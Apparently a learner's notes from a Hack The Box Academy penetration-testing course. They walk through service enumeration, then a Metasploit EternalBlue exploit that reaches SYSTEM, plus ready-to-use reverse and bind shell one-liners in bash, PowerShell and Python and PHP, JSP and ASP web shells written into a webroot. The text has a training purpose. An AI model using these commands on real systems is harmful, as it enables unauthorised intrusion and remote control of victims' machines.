┌─[eu-academy-1]─[10.10.14.217]─[htb-ac-1260468@htb-nkw4w8hyxa]─[~]
└──╼ [★]$ nmap -sV --script=banner 10.10.14.217
Starting Nmap 7.93 ( https://nmap.org ) at 2024-04-26 03:03 BST
Nmap scan report for 10.10.14.217
Host is up (0.028s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
|_banner: SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u1
80/tcp  open  caldav  Radicale calendar and contacts server (Python BaseHTTPServer)
111/tcp open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|_  100000  3,4          111/udp6  rpcbind
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.60 seconds

Same to below, but netcat must state one port number

┌─[eu-academy-1]─[10.10.14.217]─[htb-ac-1260468@htb-nkw4w8hyxa]─[~]
└──╼ [★]$ nc -nv 10.10.14.217 80
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Connected to 10.10.14.217:80.

We can also automate this process using Nmap's scripting engine
nmap -sV --script=banner -p21 10.10.10.0/24

FTP

FTP or file transfer protocol is a standard protocol and can ofren contain interesting data. We can use Nmap to scan target's FTP service.

nmap -sC -Sv -p21 target's IP

chaostudy@htb[/htb]$ nmap -sC -sV -p21 10.129.42.253

Starting Nmap 7.80 ( https://nmap.org ) at 2020-12-20 00:54 GMT
Nmap scan report for 10.129.42.253
Host is up (0.081s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x    2 ftp      ftp          4096 Dec 19 23:50 pub
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.10.14.2
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1.78 seconds

In the above example, Nmap reveals the vsftpd 3.0.3 installated and anonymous FTP login allowed and there is one directory is available.

Next, we can utilize these infor to connect target using ftp command

chaostudy@htb[/htb]$ ftp -p 10.129.42.253

Connected to 10.129.42.253.
220 (vsFTPd 3.0.3)
Name (10.129.42.253:user): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.

ftp> ls
227 Entering Passive Mode (10,129,42,253,158,60).
150 Here comes the directory listing.
drwxr-xr-x    2 ftp      ftp          4096 Feb 25 19:25 pub
226 Directory send OK.

ftp> cd pub
250 Directory successfully changed.

ftp> ls
227 Entering Passive Mode (10,129,42,253,182,129).
150 Here comes the directory listing.
-rw-r--r--    1 ftp      ftp            18 Feb 25 19:25 login.txt
226 Directory send OK.

ftp> get login.txt
local: login.txt remote: login.txt
227 Entering Passive Mode (10,129,42,253,181,53).
150 Opening BINARY mode data connection for login.txt (18 bytes).
226 Transfer complete.
18 bytes received in 0.00 secs (165.8314 kB/s)

ftp> exit
221 Goodbye.

After downloading the login.txt which saved credentials inside, we can do further inspecting and access more.

chaostudy@htb[/htb]$ cat login.txt 

admin:ftp@dmin123

SMB

SMB or Server Message Block is a prevelent protocol on Windows machines that provide many vectors for vertical and lateral movement.

Sensitive data like credentials can be stored in network file shares, and some SMB versions may be vulerable to RCE exploits like Eternalblue. Also, Nmap has many scripts for enumerating SMB, such as smb-os-discovery.nse, which will interact with the SMB service to extract the reported operating system version.

[!TIP]
A remote code execution (RCE) attack is where an attacker run malicious code on an organization's computers or network.

chaostudy@htb[/htb]$ nmap --script smb-os-discovery.nse -p445 10.10.10.40

Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-27 00:59 GMT
Nmap scan report for doctors.htb (10.10.10.40)
Host is up (0.022s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
| smb-os-discovery: 
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: CEO-PC
|   NetBIOS computer name: CEO-PC\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2020-12-27T00:59:46+00:00

Nmap done: 1 IP address (1 host up) scanned in 2.71 seconds

In this example, the host runs a legacy Windows 7 OS, then we could conduct further enumeration to confirm if it is vulnerable to EthernalBlue.

We also can run a scan against our target to gather information from the SMB service.

chaostudy@htb[/htb]$ nmap -A -p445 10.129.42.253

Starting Nmap 7.80 ( https://nmap.org ) at 2021-02-25 16:29 EST
Nmap scan report for 10.129.42.253
Host is up (0.11s latency).

PORT    STATE SERVICE     VERSION
445/tcp open  netbios-ssn Samba smbd 4.6.2
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 2.6.32 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Adtran 424RG FTTH gateway (92%), Linux 2.6.39 - 3.2 (92%), Linux 3.1 - 3.2 (92%), Linux 3.2 - 4.9 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops

Host script results:
|_nbstat: NetBIOS name: GS-SVCSCAN, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-02-25T21:30:06
|_  start_date: N/A

TRACEROUTE (using port 445/tcp)
HOP RTT       ADDRESS
1   111.62 ms 10.10.14.1
2   111.89 ms 10.129.42.253

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.72 seconds

In this example, we know the host runs a Linux kernel, Samba version 4.6.2, hostname is GS-SVCSCAN.

In the future modules, we will learn Metasploit Framework to validate the vulnerability and exploit it.

Shares
SMB allows users and administrators to share folders and make them accessible remotely by other users. There shares and files often contain sensitive information such as passwords.
A tool that can enumerate and interact with SMB shares is smbclient.

-L: specifies that we want to retrieve a list of available shares on the remote host
-N: suppresses the password prompt

chaostudy@htb[/htb]$ smbclient -N -L \\\\10.129.42.253

    Sharename       Type      Comment
    ---------       ----      -------
    print$          Disk      Printer Drivers
    users           Disk      
    IPC$            IPC       IPC Service (gs-svcscan server (Samba, Ubuntu))
SMB1 disabled -- no workgroup available

In the above example, we can find a non-default share users. we can attempt to connect as the guest user.

chaostudy@htb[/htb]$ smbclient \\\\10.129.42.253\\users

Enter WORKGROUP\users's password: 
Try "help" to get a list of possible commands.

smb: \> ls
NT_STATUS_ACCESS_DENIED listing \*

smb: \> exit

The ls command resulted in an denied message, indicating that guest access is not permitted. So we can try again using credentials for the user bob.

chaostudy@htb[/htb]$ smbclient -U bob \\\\10.129.42.253\\users

Enter WORKGROUP\bob's password: 
Try "help" to get a list of possible commands.

smb: \> ls
  .                                   D        0  Thu Feb 25 16:42:23 2021
  ..                                  D        0  Thu Feb 25 15:05:31 2021
  bob                                 D        0  Thu Feb 25 16:42:23 2021

        4062912 blocks of size 1024. 1332480 blocks available

smb: \> cd bob

smb: \bob\> ls
  .                                   D        0  Thu Feb 25 16:42:23 2021
  ..                                  D        0  Thu Feb 25 16:42:23 2021
  passwords.txt                       N      156  Thu Feb 25 16:42:23 2021

        4062912 blocks of size 1024. 1332480 blocks available

smb: \bob\> get passwords.txt 
getting file \bob\passwords.txt of size 156 as passwords.txt (0.3 KiloBytes/sec) (average 0.3 KiloBytes/sec)

Then we can download 'passwords.txt'.

SNMP

SNMP or simple network managerment protocol Community strings provide information and statistics about a router or device, helping us gain access to it. The manufacturer default community string is public or private. In SNMP v1 and 2c, access is controlled using a plaintext community string, and if we know the name, we can gain access to it. Encryption and authentication were only added in SNMP v3.

Som instances are shown below:

chaostudy@htb[/htb]$ snmpwalk -v 2c -c public 10.129.42.253 1.3.6.1.2.1.1.5.0

iso.3.6.1.2.1.1.5.0 = STRING: "gs-svcscan"
chaostudy@htb[/htb]$ snmpwalk -v 2c -c private  10.129.42.253 

Timeout: No Response from 10.129.42.253

A tool such as onesixtyone can be used to brute force the community string names using a dictionary file of common community strings such as the dict.txt file included in the GibHub repo for the tool.

chaostudy@htb[/htb]$ onesixtyone -c dict.txt 10.129.42.254

Scanning 1 hosts, 51 communities
10.129.42.254 [public] Linux gs-svcscan 5.4.0-66-generic #74-Ubuntu SMP Wed Jan 27 22:54:38 UTC 2021 x86_64

Notice:

When I am doing the practise, I found the below notice,

In the SMBclient command,

[!NOTE]
get will copy and paste the target file to the currently location.

Vim command:

[!NOTE]
yy means copy one line but only available in the current file.

[!NOTE]
"+2yy means copy two lines but available in the anywhere in the system or out of VM.

This link explains more Vim copy paste.

Web Enumeration

Web servers host web application (gerenally more than one) which often provide a wide attack surface and a very high value target during penetration test. We will often run into web server at port 80 and 443.

Gobuster

After discovering a web application, it is always worth to check if we can uncover any hidden files or directories on the webserver that are not intended for public access. We use ffuf or GoBuster to perform this directory enumeration. Sometime we will find hidden functionality or pages/directories exposing sensitive data that can be leveraged to accss the web application or more.

Directory/File Enumeration

Gobuster is a versatile tool that allow for performing DNS, vhost, and directory brute-forcing. It also has additional functionality, such as enumeration of public AWS S3 buckets.

Here is a simple exmaple: use Gobuster to brute-forcing directory via common.txt wordlist.

dir: classic directory brute-forcing mode
-v: verbose output
-u: the target URL
-w: path to the wordlist

chaostudy@htb[/htb]$ gobuster dir -u http://10.10.10.121/ -w /usr/share/dirb/wordlists/common.txt

===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.121/
[+] Threads:        10
[+] Wordlist:       /usr/share/dirb/wordlists/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/12/11 21:47:25 Starting gobuster
===============================================================
/.hta (Status: 403)
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/index.php (Status: 200)
/server-status (Status: 403)
/wordpress (Status: 301)
===============================================================
2020/12/11 21:47:46 Finished
===============================================================

An HTTP status code of 200 reveals that the resource's request was successful, while a 403 HTTP status code indicates that we are forbidden to access the resource. A 301 status code indicates that we are being redirected, which is not a failure case. Other status can be found here. We have to be familar with it.

In this example, we also see the web application is installed in WordPress that is the most commonly used CMS(Content Management System) and has a enormous potential attack surface.

DNS Subdomain Enumeration

GoBuster also can enumerate available subdomain of a given domain to obtain essential resources such as admin panels or applications.

Here is a simple exmaple: use Gobuster to enumerate subdomain.

First, let us clone the SecLists GitHub repo, which contains many useful lists.

chaostudy@htb[/htb]$ git clone https://github.com/danielmiessler/SecLists
chaostudy@htb[/htb]$ sudo apt install seclists -y

dns: DNS subdomain brute-forcing mode
-d: target domain
-w: path to the wordlist

chaostudy@htb[/htb]$ gobuster dns -d inlanefreight.com -w /usr/share/SecLists/Discovery/DNS/namelist.txt

===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Domain:     inlanefreight.com
[+] Threads:    10
[+] Timeout:    1s
[+] Wordlist:   /usr/share/SecLists/Discovery/DNS/namelist.txt
===============================================================
2020/12/17 23:08:55 Starting gobuster
===============================================================
Found: blog.inlanefreight.com
Found: customer.inlanefreight.com
Found: my.inlanefreight.com
Found: ns1.inlanefreight.com
Found: ns2.inlanefreight.com
Found: ns3.inlanefreight.com
===============================================================
2020/12/17 23:10:34 Finished
===============================================================

cURL

Banner Grabbing/ Web Server Headers

we discussed banner grabbing before, the web server header also provides a good picture of what is hosted on a web server. It can reveal the spcific application framework in use, the authtication options, and whether the server is missing essential security potions or has been misconfigurated.

We can use cURL, which is another essential tool for penetration testing, to retrieve server header information.

-i: include response headers in the output
-I: fetch the head only
-L: If the server reports that the requested page has moved to a different location (indicated with a Location: header and a 3XX response code), this option makes curl redo the request on the new place. If used together with -i, --include or -I, --head, headers from all requested pages are shown.

chaostudy@htb[/htb]$ curl -IL https://www.inlanefreight.com

HTTP/1.1 200 OK
Date: Fri, 18 Dec 2020 22:24:05 GMT
Server: Apache/2.4.29 (Ubuntu)
Link: <https://www.inlanefreight.com/index.php/wp-json/>; rel="https://api.w.org/"
Link: <https://www.inlanefreight.com/>; rel=shortlink
Content-Type: text/html; charset=UTF-8

Another handy tool is EyeWitness, which can be used to take screenshots of target web application, fingerprint them, and identify possible default credentials.

whatweb

whatweb can extract the version of web servers, supporting frameworks, and applications.

chaostudy@htb[/htb]$ whatweb 10.10.10.121

http://10.10.10.121 [200 OK] Apache[2.4.41], Country[RESERVED][ZZ], Email[license@php.net], HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.10.121], Title[PHP 7.4.3 - phpinfo()]

whatweb is a handy tool that contains much functionality to automate web application enumeration across a network.

chaostudy@htb[/htb]$ whatweb --no-errors 10.10.10.0/24

http://10.10.10.11 [200 OK] Country[RESERVED][ZZ], HTTPServer[nginx/1.14.1], IP[10.10.10.11], PoweredBy[Red,nginx], Title[Test Page for the Nginx HTTP Server on Red Hat Enterprise Linux], nginx[1.14.1]
http://10.10.10.100 [200 OK] Apache[2.4.41], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.10.100], Title[File Sharing Service]
http://10.10.10.121 [200 OK] Apache[2.4.41], Country[RESERVED][ZZ], Email[license@php.net], HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.10.121], Title[PHP 7.4.3 - phpinfo()]
http://10.10.10.247 [200 OK] Bootstrap, Country[RESERVED][ZZ], Email[contact@cross-fit.htb], Frame, HTML5, HTTPServer[OpenBSD httpd], IP[10.10.10.247], JQuery[3.3.1], PHP[7.4.12], Script, Title[Fine Wines], X-Powered-By[PHP/7.4.12], X-UA-Compatible[ie=edge]

Certificates

SSL/TLS certificates reveals the details like the email address, company name, etc, that could potentially be used to conduct a phishing attack.

Robots.txt

Robots.txt file is to instruct search engine web crawlers such as Googlebot which resources can and cannot be accessed for indexing. Therefore, it can provide valuable information such as the location of private frils and admin pages.

Navigating to http://10.10.10.121/private in a browser

Source code

It is also worth checking the source code for any web pages we come across by hit ctrl + U to bring up the source code window in a browser.

[!NOTE]
In the lab practise, we need check source code of all pages we got to looking for hint.

Public Exploits

[!NOTE]
Once we identify the services running on ports identified from Nmap scan, the first step is to look for if any of the application or services have any public exploits.

Finding Public Exploits

Many tools can help us search for public exploits during enumeration phase.

  • Google the application or service name with exploit to see if we get any results:

  • searchsploit is a well-known tool that allow us to search vulnerability and exploits for any application.

[!bash!]$ sudo apt install exploitdb -y

[!bash!]$ searchsploit openssh 7.2

----------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                               |  Path
----------------------------------------------------------------------------------------------------------------------------- ---------------------------------
OpenSSH 2.3 < 7.7 - Username Enumeration                                                                                     | linux/remote/45233.py
OpenSSH 2.3 < 7.7 - Username Enumeration (PoC)                                                                               | linux/remote/45210.py
OpenSSH 7.2 - Denial of Service                                                                                              | linux/dos/40888.py
OpenSSH 7.2p1 - (Authenticated) xauth Command Injection                                                                      | multiple/remote/39569.py
OpenSSH 7.2p2 - Username Enumeration                                                                                         | linux/remote/40136.py
OpenSSH < 7.4 - 'UsePrivilegeSeparation Disabled' Forwarded Unix Domain Sockets Privilege Escalation                         | linux/local/40962.txt
OpenSSH < 7.4 - agent Protocol Arbitrary Library Loading                                                                     | linux/remote/40963.txt
OpenSSH < 7.7 - User Enumeration (2)                                                                                         | linux/remote/45939.py
OpenSSHd 7.2p2 - Username Enumeration                                                                                        | linux/remote/40113.txt
----------------------------------------------------------------------------------------------------------------------------- ---------------------------------

Metasploit Primer

The Metasploit Framework (MSF) is an excellent tool for penetesters. It contains many built-in exploits for many public vulnerabilities and provides an easy way to use these exploits against vulnerable targets.

msfconsole is the command to run Metasploit

[!bash!]$ msfconsole

      .:okOOOkdc'           'cdkOOOko:.
    .xOOOOOOOOOOOOc       cOOOOOOOOOOOOx.
   :OOOOOOOOOOOOOOOk,   ,kOOOOOOOOOOOOOOO:
  'OOOOOOOOOkkkkOOOOO: :OOOOOOOOOOOOOOOOOO'
  oOOOOOOOO.    .oOOOOoOOOOl.    ,OOOOOOOOo
  dOOOOOOOO.      .cOOOOOc.      ,OOOOOOOOx
  lOOOOOOOO.         ;d;         ,OOOOOOOOl
  .OOOOOOOO.   .;           ;    ,OOOOOOOO.
   cOOOOOOO.   .OOc.     'oOO.   ,OOOOOOOc
    oOOOOOO.   .OOOO.   :OOOO.   ,OOOOOOo
     lOOOOO.   .OOOO.   :OOOO.   ,OOOOOl
      ;OOOO'   .OOOO.   :OOOO.   ;OOOO;
       .dOOo   .OOOOocccxOOOO.   xOOd.
         ,kOl  .OOOOOOOOOOOOO. .dOk,
           :kk;.OOOOOOOOOOOOO.cOk:
             ;kOOOOOOOOOOOOOOOk:
               ,xOOOOOOOOOOOx,
                 .lOOOOOOOl.
                    ,dOd,
                      .

       =[ metasploit v6.0.16-dev                          ]
+ -- --=[ 2074 exploits - 1124 auxiliary - 352 post       ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

Then, we can search for our target application with the search exploit command.

msf6 > search exploit eternalblue

Matching Modules
================

   #  Name                                           Disclosure Date  Rank     Check  Description
   -  ----                                           ---------------  ----     -----  -----------
<SNIP>
EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
   4  exploit/windows/smb/ms17_010_psexec            2017-03-14       normal   Yes    MS17-010 

Get a result of EternalBlue SMB exploit, so we can use command to use it

msf6 > use exploit/windows/smb/ms17_010_psexec

[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp

Before we can run the exploit, we need to configure its option via show options command:

Module options (exploit/windows/smb/ms17_010_psexec):

   Name                  Current Setting                                                 Required  Description
   ----                  ---------------                                                 --------  -----------
   DBGTRACE              false                                                           yes       Show extra debug trace info
   LEAKATTEMPTS          99                                                              yes       How many times to try to leak transaction
   NAMEDPIPE                                                                             no        A named pipe that can be connected to (leave blank for auto)
   NAMED_PIPES           /usr/share/metasploit-framework/data/wordlists/named_pipes.txt  yes       List of named pipes to check
   RHOSTS                                                                                yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT                 445                                                             yes       The Target port (TCP)
   SERVICE_DESCRIPTION                                                                   no        Service description to to be used on target for pretty listing
   SERVICE_DISPLAY_NAME                                                                  no        The service display name
   SERVICE_NAME                                                                          no        The service name
   SHARE                 ADMIN$                                                          yes       The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
   SMBDomain             .                                                               no        The Windows domain to use for authentication
   SMBPass                                                                               no        The password for the specified username
   SMBUser                                                                               no        The username to authenticate as

...SNIP...

Any option with Required set to yes needs to be set for the xploit to work. In this example, we only have two options to set: RHOSTS, LHOST. Use set command to set up.

RHOSTS: the IP of target(one IP, multiple IPs, or a file contains a list of IPs)

msf6 exploit(windows/smb/ms17_010_psexec) > set RHOSTS 10.10.10.40
RHOSTS => 10.10.10.40
msf6 exploit(windows/smb/ms17_010_psexec) > set LHOST tun0
LHOST => tun0

We also can run a check to ensure the server is vulnerable before the exploitation. (not every exploit in the Metasploit Framework support check function)

msf6 exploit(windows/smb/ms17_010_psexec) > check

[*] 10.10.10.40:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.10.40:445       - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.10.40:445       - Scanned 1 of 1 hosts (100% complete)
[+] 10.10.10.40:445 - The target is vulnerable.

Finally, run or exploit command to run the exploit

msf6 exploit(windows/smb/ms17_010_psexec) > exploit

[*] Started reverse TCP handler on 10.10.14.2:4444 
[*] 10.10.10.40:445 - Target OS: Windows 7 Professional 7601 Service Pack 1
[*] 10.10.10.40:445 - Built a write-what-where primitive...
[+] 10.10.10.40:445 - Overwrite complete... SYSTEM session obtained!
[*] 10.10.10.40:445 - Selecting PowerShell target
[*] 10.10.10.40:445 - Executing the payload...
[+] 10.10.10.40:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (175174 bytes) to 10.10.10.40
[*] Meterpreter session 1 opened (10.10.14.2:4444 -> 10.10.10.40:49159) at 2020-12-27 01:13:28 +0000

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > shell
Process 39640 created.
Channel 0 created.
Windows 7 Professional 7601 Service Pack 1
(C) Copyright 1985-2009 Microsoft Corp.

C:\WINDOWS\system32>whoami
NT AUTHORITY\SYSTEM

In the last few rows, we can have been able to gain admin access to the box and used the shell command to interactive.

In the HTB labs, there are many retired boxed for practicing Metasploit,

  • Granny/Grandpa
  • Jerry
  • Blue
  • Lame
  • Optimum
  • Legacy
  • Devel

[!NOTE]
Metaploit is essential framework to use, but do not solely to rely on it. Penetration tester must know how to best leverage all of the tools available to us.

[!NOTE]
Lab exercise: notice all clues, but not all are useful

Types of Shells

Once we compromise a system and exploit a vulnerability to execute commands on the hosts remotely, we usually need a method of commnunicating with the system instead of keeping exploiting the same vulnerability to execute every command.

It is better to use SSH for Linux or WinRM for Windows, but we are able to utilize this method unless we have gotten the log in credentials.

The other method we mentioned before is shells: Reverse Shell, Bind Shell, and Web Shell.

Type of Shell Method of Communication
Reverse Shell Connects back to our system and gives us control through a reverse connection.
Bind Shell Waits for us to connect to it and gives us control once we do.
Web Shell Communicates through a web server, accepts our commands through HTTP parameters, executes them, and prints back the output.

Reverse Shell

A reverse shell is the most common type of shell, as it is the quickest and easist method to obtain control over a compromised host.

  • Identify a vulnerability on the remote host that allow remote code execution.
  • Start a netcat listener on our machine to listen on a specific port
  • execute a reverse shell command that connects the remote systems shell, like Bash or Powershell to our netcat listener

Netcat Listener

-l: Listen mode, to wait for a connection to us
-v: verbose mode, so that we know when we receive a connection
-n: Disable DNS resolution and only connect from/to IPs to speed up the connection
-p 1234: assign a listening port number

chaostudy@htb[/htb]$ nc -lvnp 1234

listening on [any] 1234 ...

Connect Back IP

Find out our IP address

chaostudy@htb[/htb]$ ip a

...SNIP...

3: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 500
    link/none
    inet 10.10.10.10/23 scope global tun0
...SNIP...

In this example, our IP is 10.10.10.10/23 that under tun0

Reverse Shell Command

The command we execute deponds on what operating system the compromised host runs, and what applications we can access. The Payload All The Things or this page has a comprehensive list of reverse shell commands we can use.

Here is some examples, for bash on Linux compromised hosts and Powershell on Windows compromised hosts

Code: bash

bash -c 'bash -i >& /dev/tcp/10.10.10.10/1234 0>&1'

Code: bash

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 1234 >/tmp/f

Code: powershell

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',1234);$s = $client.GetStream();[byte[]]$b = 0..65535|%{0};while(($i = $s.Read($b, 0, $b.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);$sb = (iex $data 2>&1 | Out-String );$sb2 = $sb + 'PS ' + (pwd).Path + '> ';$sbt = ([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sbt,0,$sbt.Length);$s.Flush()};$client.Close()"

Once we successfully execute the above command, Netcat should receive a connection in our liscener:

chaostudy@htb[/htb]$ nc -lvnp 1234

listening on [any] 1234 ...
connect to [10.10.10.10] from (UNKNOWN) [10.10.10.1] 41572

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

[!NOTE]
Reverse Shell can be very fragile. Reverse shell command must execute again to regain the access once the reverse shell command is stopped or we lost the connection.

Bind Shell

On the contrary of reverse shell, Bind shell will connect to the target' listening port. Once we execute a bind shell command, it will start listening on a port on the remote host and bind that host's shell. Then get control through a shell on that system

Bind Shell Command

Once again, we can utilize Payload All The Things or this page to find a proper command to start our bind shell.

Here is some examplesz(open port 1234 on remote host), for bash on Linux compromised hosts and Powershell on Windows compromised hosts

Code: bash

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp 1234 >/tmp/f

Code: python

python -c 'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",1234));s1.listen(1);c,a=s1.accept();\nwhile True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")'

Code: powershell

powershell -NoP -NonI -W Hidden -Exec Bypass -Command $listener = [System.Net.Sockets.TcpListener]1234; $listener.start();$client = $listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + " ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close();

Netcat Connection

Once we execute the bind shell command, we should have a shell waiting for us the specified port. Now use netcat to connect to that port and get a connection to the shell

chaostudy@htb[/htb]$ nc 10.10.10.1 1234

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

[!NOTE]
Now, we have a connection to remote host, and this connection is more static than reverse shell. If we drop our connection for any reason, we can reconnect to it immediately. However, if the bind shell command is stopped for any reason or remote host is rebooted. We need lose the access and have to exploit it again.

Upgrading TTY

Once we connect to a shell through Netcat, we can only type commands or backspace, but cannot move cursor left or right to edit commands, nor can go up do down to access command history. To be able to do that, it is necessary to upgrade our TTY or Teletypewriters.

There are multiple methods to do this. In this example, we will use python/stty medhod. In the netcat, use the following command to upgrade:

chaostudy@htb[/htb]$ python -c 'import pty; pty.spawn("/bin/bash")'

Then, hit ctrl+z to background our shell and get back on the local terminal, input the stty command.

www-data@remotehost$ ^Z

chaostudy@htb[/htb]$ stty raw -echo
chaostudy@htb[/htb]$ fg

[Enter]
[Enter]
www-data@remotehost$

Once we hit fg, it will bring back our netcat shell to the foreground. At this point, the terminal will show a blank line. We can hit enter again to get back to our shell or input reset and hit enter to bring it back. At this point, we would have a fully working TTY shell with command history and everything else.

So far, we may notice our shell does not cover the entire terminal, so open another terminal windows on our sytem and maximize the windows. Then input the following the commands to get variables:

chaostudy@htb[/htb]$ echo $TERM

xterm-256color
chaostudy@htb[/htb]$ stty size

67 318

From these two commands, we know the variable: TERM is 256color and stty size is 67 raws & 318 columens, so go back to our netcat shell:

www-data@remotehost$ export TERM=xterm-256color

www-data@remotehost$ stty rows 67 columns 318

Now, the netcat shell uses fully terminal features, like a SSH connection.

[!NOTE]
There is not a lab practise here, so it is a bit confuse.

Web Shell

Web Shell is typically a web script like PHP or ASPX, that accepts commands through HTTP request parameters like GET or POST request parameters, executed commands, and prints its output back on the webpage.

Writing a Web Shell

Here are some examples for web scripts that allow our command through a GET request and execute it. Web shell script is very short to memorized.

Code: php

<?php system($_REQUEST["cmd"]); ?>

Code: jsp

<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>

Code: asp

<% eval request("cmd") %>

Uploading a Web Shell

Once we have our web shell script, we need to place it to remote web server directory(webroot) to execute through the web browser.

It is easy if there is a vulnerability in an upload feather, which allow us to update our script like shell.php. However, if we have remote command execute right through an exploit, we can write our shell directly to the webroot to access.

Some default Webroot in Webserver:

Web Server Default Webroot
Apache /var/www/html/
Nginx /usr/local/nginx/html/
IIS c:\inetpub\wwwroot\
XAMPP C:\xampp\htdocs\

Check if webroot is in use and then use echo to write web shell, for example:

echo '<?php system($_REQUEST["cmd"]); ?>' > /var/www/html/shell.php

Now, we can either access it through a web browser or cURL.

Visit shell.php page and use ?cmd=id to execute the id command:

Or use cURL:

chaostudy@htb[/htb]$ curl http://SERVER_IP:PORT/shell.php?cmd=id

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Some benefit of Web Shell:

  • Web shell would bypass any firewall restriction, as it will not open a new connection on a port but run on a web on 80 or 443 or whatever port the web application is using.
  • If the compromised host is rebooted, the web shell would still be in place, so we can gain access it without exploiting the remote host again.

[!NOTE]
Web Shell is not as interactive as reverse shell or bind shell are. In extreme cases, it is possible to code a python script to automate this as a semi-interactive web shell.

Privilege Escalation

Our initial access to a remote target is usually a low privileged user, which will not give us too much permission. To gain full access, we will need to look for an internal or local vulnerability that would escalate our pervilege to be root in Linux or administrator in Windows.

PrivEsc Checklist

Once we gain access to target machine, we need find any potential vulnerabilities we can exploit to achieve a higher privileged level. There are some resource provide many checklists and cheat sheets online we can use to run these commands. HackTricks and PayloadsAllTheThings are very excellent resource include both Linux and Windows checklists and commands.

[!NOTE]
We must start experimenting with various commands and techniques and get familar with them to understand multiple weaknesses that can lead to escalating our privileges.

Enumeration Scripts

